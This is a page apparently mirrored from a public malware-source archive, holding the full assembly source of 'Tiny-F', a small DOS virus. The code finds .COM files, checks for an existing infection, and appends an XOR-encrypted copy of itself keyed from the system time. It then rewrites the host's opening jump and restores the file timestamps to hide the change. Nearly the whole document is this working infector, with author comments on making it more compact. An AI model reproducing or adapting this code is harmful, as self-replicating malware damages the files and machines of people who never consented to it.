mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-20 10:26:10 +00:00
183 lines
7.5 KiB
NASM
183 lines
7.5 KiB
NASM
|
tinyv SEGMENT BYTE PUBLIC 'code'
|
|||
|
ASSUME CS:tinyv, DS:tinyv, SS:tinyv, ES:tinyv
|
|||
|
|
|||
|
ORG 100h
|
|||
|
|
|||
|
DOS EQU 21h
|
|||
|
|
|||
|
start: JMP pgstart
|
|||
|
exlbl: db 0CDh, 20h, 7, 8, 9
|
|||
|
pgstart:CALL tinyvir
|
|||
|
tinyvir:
|
|||
|
POP SI ; get SI for storage
|
|||
|
SUB SI,offset tinyvir ; reset SI to virus start
|
|||
|
MOV BP,[SI+blnkdat] ; store SI in BP for return
|
|||
|
ADD BP, OFFSET exlbl
|
|||
|
CALL endecrpt
|
|||
|
JMP SHORT realprog
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
; nonencrypted subroutines start here
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
; PCM's encryption was stupid, mine is better - Dark Angel
|
|||
|
endecrpt:
|
|||
|
; Only need to save necessary registers - Dark Angel
|
|||
|
PUSH AX ; store registers
|
|||
|
PUSH BX
|
|||
|
PUSH CX
|
|||
|
PUSH SI
|
|||
|
; New, better, more compact encryption engine
|
|||
|
MOV BX, [SI+EN_VAL]
|
|||
|
ADD SI, offset realprog
|
|||
|
MOV CX, endenc - realprog
|
|||
|
SHR CX, 1
|
|||
|
JNC start_encryption
|
|||
|
DEC SI
|
|||
|
start_encryption:
|
|||
|
MOV DI, SI
|
|||
|
encloop:
|
|||
|
LODSW ; DS:[SI] -> AX
|
|||
|
XOR AX, BX
|
|||
|
STOSW
|
|||
|
LOOP encloop
|
|||
|
|
|||
|
POP SI ; restore registers
|
|||
|
POP CX
|
|||
|
POP BX
|
|||
|
POP AX
|
|||
|
RET
|
|||
|
;-----end of encryption routine
|
|||
|
nfect:
|
|||
|
CALL endecrpt
|
|||
|
MOV [SI+offset endprog+3],AX; point to data
|
|||
|
MOV AH,40H ; write instruction
|
|||
|
LEA DX,[SI+0105H] ; write buffer loc |
|
|||
|
MOV CX,offset endprog-105h ; (size of virus) --\|/--
|
|||
|
INT DOS ; do it!
|
|||
|
PUSHF
|
|||
|
CALL endecrpt
|
|||
|
POPF
|
|||
|
JC outa1 ; error, bug out
|
|||
|
RET
|
|||
|
outa1:
|
|||
|
JMP exit
|
|||
|
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
; Unencrypted routines end here
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
realprog:
|
|||
|
CLD ; forward direction for string ops
|
|||
|
; Why save DTA? This part killed. Saves quite a few bytes. Dark Angel
|
|||
|
; Instead, set DTA to SI+ENDPROG+131h
|
|||
|
MOV AH, 1Ah ; Set DTA
|
|||
|
LEA DX, [SI+ENDPROG+131h] ; to DS:DX
|
|||
|
INT 21h
|
|||
|
|
|||
|
LEA DX,[SI+fspec] ; get filespec (*.COM)
|
|||
|
XOR CX, CX ; || (clear regs)
|
|||
|
MOV AH,4EH ; || (find files)
|
|||
|
mainloop: ; \||/
|
|||
|
INT DOS ; ----\/----
|
|||
|
JC hiccup ; no more files found, terminate virus
|
|||
|
; Next part had to be changed to account for new DTA address - Dark Angel
|
|||
|
LEA DX, [SI+ENDPROG+131h+30]; set file name pointer
|
|||
|
; (offset 30 is DTA filename start)
|
|||
|
MOV AX,3D02H ; open file
|
|||
|
INT DOS ; do it!
|
|||
|
MOV BX,AX ; move file handle to BX
|
|||
|
MOV AH,3FH ; read file
|
|||
|
LEA DX,[SI+endprog] ; load end of program (as buffer pntr)
|
|||
|
MOV DI,DX ; set Dest Index to area for buffer
|
|||
|
MOV CX,0003H ; read 3 bytes
|
|||
|
INT DOS ; do it!
|
|||
|
CMP BYTE PTR [DI],0E9H ; check for JMP at start
|
|||
|
JE infect ; If begins w/JMP, Infect
|
|||
|
nextfile:
|
|||
|
MOV AH,4FH ; set int 21 to find next file
|
|||
|
JMP mainloop ; next file, do it!
|
|||
|
hiccup: JMP exit
|
|||
|
infect:
|
|||
|
MOV AX,5700h ; get date function
|
|||
|
INT DOS ; do it!
|
|||
|
PUSH DX ; store date + time
|
|||
|
PUSH CX
|
|||
|
MOV DX,[DI+01H] ; set # of bytes to move
|
|||
|
MOV [SI+blnkdat],DX ; " " " " " "
|
|||
|
; Tighter Code here - Dark Angel
|
|||
|
XOR CX,CX ; " " " " " " (0 here)
|
|||
|
MOV AX,4200H ; move file
|
|||
|
INT DOS ; do it!
|
|||
|
MOV DX,DI ; set dest index to area for buffer
|
|||
|
MOV CX,0002H ; two bytes
|
|||
|
MOV AH,3FH ; read file
|
|||
|
INT DOS ; do it!
|
|||
|
CMP WORD PTR [DI],0807H ; check for infection
|
|||
|
JE nextfile ; next file if infected
|
|||
|
getaval: ; encryption routine starts here
|
|||
|
; My modifications here - Dark Angel
|
|||
|
MOV AH, 2Ch ; DOS get TIME function
|
|||
|
INT DOS ; do it!
|
|||
|
OR DX, DX ; Is it 0?
|
|||
|
JE getaval ; yeah, try again
|
|||
|
MOV word ptr [si+offset en_val], DX ; Store it
|
|||
|
; Tighter code here - Dark Angel
|
|||
|
XOR DX,DX ; clear regs
|
|||
|
XOR CX,CX ; " "
|
|||
|
MOV AX,4202H ; move file pointer
|
|||
|
INT DOS ; do it!
|
|||
|
OR DX,DX ; new pointer location 0?
|
|||
|
JNE nextfile ; if no then next file
|
|||
|
CMP AH,0FEH ; new pointer loc too high?
|
|||
|
JNC nextfile ; yes, try again
|
|||
|
CALL nfect
|
|||
|
MOV AX,4200H ; move pointer
|
|||
|
XOR CX, CX ; clear reg
|
|||
|
MOV DX,OFFSET 00001 ; where to set pointer
|
|||
|
INT DOS ; do it!
|
|||
|
MOV AH,40H ; write to file
|
|||
|
LEA DX,[SI+offset endprog+3]; write data at SI+BUFFER
|
|||
|
MOV CX,0002H ; two bytes (the JMP)
|
|||
|
INT DOS ; do it!
|
|||
|
MOV AX,5701h ; store date
|
|||
|
POP CX ; restore time
|
|||
|
POP DX ; restore date
|
|||
|
INT DOS ; do it!
|
|||
|
exit:
|
|||
|
MOV AH,3EH ; close file
|
|||
|
INT DOS ; do it!
|
|||
|
|
|||
|
; Return DTA to old position - Dark Angel
|
|||
|
|
|||
|
MOV AH, 1Ah ; Set DTA
|
|||
|
MOV DX, 80h ; to PSP DTA
|
|||
|
INT 21h
|
|||
|
|
|||
|
JMP BP
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
; encrypted data goes here
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
fspec LABEL WORD
|
|||
|
DB '*.COM',0
|
|||
|
nondata DB 'Tiny-F version 1.1' ; Program identification
|
|||
|
DB '<15><><EFBFBD>@&<><EEB7B3>' ; author identification
|
|||
|
DB 'Released 10-19-91' ; release date
|
|||
|
endenc LABEL BYTE ; end of encryption zone
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
; nonencrypted data goes anywhere after here
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
blnkdat LABEL WORD
|
|||
|
DW 0000H
|
|||
|
|
|||
|
; Only en_val is needed now because of new encryption mechanism
|
|||
|
en_val DW 0h
|
|||
|
|
|||
|
endprog LABEL WORD
|
|||
|
tinyv ENDS
|
|||
|
END start
|
|||
|
|